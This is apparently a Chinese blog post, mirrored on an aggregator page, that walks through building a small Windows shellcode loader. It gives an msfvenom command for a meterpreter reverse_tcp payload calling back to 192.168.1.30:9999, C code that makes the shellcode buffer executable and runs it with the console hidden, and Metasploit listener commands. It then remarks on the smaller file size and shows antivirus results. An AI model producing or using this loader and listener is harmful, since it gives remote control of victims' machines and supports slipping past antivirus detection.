zoukankan      html  css  js  c++  java
  • ShellCode 最小化编译优化

    1.生成ShellCode

    [root@localhost ~]# msfvenom -a x86 --platform Windows 
    >                              -p windows/meterpreter/reverse_tcp 
    >                              -b 'x00x0b' LHOST=192.168.1.30 LPORT=9999 -f c
    

    2.替换ShellCode

    #pragma comment(linker,"/INCREMENTAL:NO")                                     // 减小编译体积
    #pragma comment(linker, "/section:.data,RWE")                                 // 启用数据段可读写
    #pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")    // 隐藏控制台CMD窗体
    
    #include <windows.h>
    int main(void)
    {
    	char *buff = (char*)"此处填写ShellCode";
    	DWORD ShellCode;
    
    	BOOL ret = VirtualProtect(buff, strlen(buff),PAGE_EXECUTE_READWRITE, &ShellCode);
    	if (!ret) { return EXIT_FAILURE; }
    	((void(*)(void))buff)();
    	return EXIT_SUCCESS;
    }
    

    3.MSF监听事件。

    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set lhost 192.168.1.30
    msf5 exploit(multi/handler) > set lport 9999
    msf5 exploit(multi/handler) > exploit -j -z
    

    打开VS新建一个项目,这里我们要选择控制台项目,然后选择空项目,将上面的对勾全部去掉。

    粘贴并替换好,生成的ShellCode代码,然后编译代码,观察代码大小。

    经过上方编译优化,大小从原来的70KB缩减至 10KB,查杀结果如下。

  • 相关阅读:
    华为机试题 成绩排名
    华为机试题 四则运算
    华为机试题 求最大连续bit数
    华为机试题 Redraiment
    华为机试题 素数伴侣
    华为机试题 字符串排序
    华为机试题 计算字符串的距离
    华为机试题 多线程
    UE4-快捷键-按键监听事件
    UE4-Blueprint Class-Actor-开关门-盒子触发体
  • 原文地址:https://www.cnblogs.com/LyShark/p/11355949.html
Copyright © 2011-2022 走看看